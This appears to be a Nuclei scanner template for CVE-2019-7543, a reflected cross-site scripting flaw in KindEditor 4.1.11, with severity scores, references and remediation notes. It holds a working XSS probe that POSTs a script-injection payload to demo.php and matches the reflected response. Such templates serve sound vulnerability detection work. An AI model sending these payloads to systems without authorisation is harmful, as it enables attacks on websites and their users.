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KindEditor 4.1.11 - Cross-Site Scripting

ID: CVE-2019-7543

Severity: medium

Author: pikpikcu

Tags: cve,cve2019,kindeditor,xss,kindsoft

KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.

id: CVE-2019-7543
info:
name: KindEditor 4.1.11 - Cross-Site Scripting
author: pikpikcu
severity: medium
description: KindEditor 4.1.11 contains a cross-site scripting vulnerability via the php/demo.php content1 parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of KindEditor or apply the necessary security patches provided by the vendor.
reference:
- https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
- https://nvd.nist.gov/vuln/detail/CVE-2019-7543
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION
- https://github.com/HaleBera/A-NOVEL-CONTAINER-ATTACKS-DATASET-FOR-INTRUSION-DETECTION-Deployments
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2019-7543
cwe-id: CWE-79
epss-score: 0.00135
epss-percentile: 0.47935
cpe: cpe:2.3:a:kindsoft:kindeditor:4.1.11:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: kindsoft
product: kindeditor
tags: cve,cve2019,kindeditor,xss,kindsoft
http:
- method: POST
path:
- '{{BaseURL}}/kindeditor/php/demo.php'
- '{{BaseURL}}/php/demo.php'
body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"
headers:
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: word
part: body
words:
- '</script><script>alert(document.domain)</script>'
- type: word
part: header
words:
- text/html
# digest: 4b0a00483046022100cbc47678a0ca44e49934c1960bb0d9ef7073ac592ea83c8f89a6f8081a2aa452022100f296a045efebd2aae5df7acc8a75c7d9280aa11fdea00350525ef23383118b89:922c64590222798bb761d5b6d8e72950

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